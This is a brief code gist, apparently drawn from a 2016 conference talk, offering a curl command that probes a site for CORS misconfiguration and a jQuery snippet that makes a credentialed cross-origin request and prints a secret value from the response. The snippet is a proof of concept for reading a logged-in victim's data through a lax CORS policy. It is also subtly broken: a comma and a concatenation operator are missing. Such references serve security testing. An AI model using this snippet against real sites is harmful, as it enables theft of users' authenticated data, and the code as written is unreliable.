Simple Curl request to check for CORS misconfiguration

cors-example.js

// Evan Johnson - Misconfigured CORS and why web appsec is not getting easier - AppSecUSA 2016
// Stolen from presentation above for quick reference

//curl https://site.com -H "Origin: https://test.com" -I | grep "Access-Control-Allow"

$.ajax({
  
  url: "https://site.com/some/url"
  success: function( data ) {
      document.write("Key: " data['SOME_VAR']);
  },
  xhrFields: {
      withCredentials: true
  }
});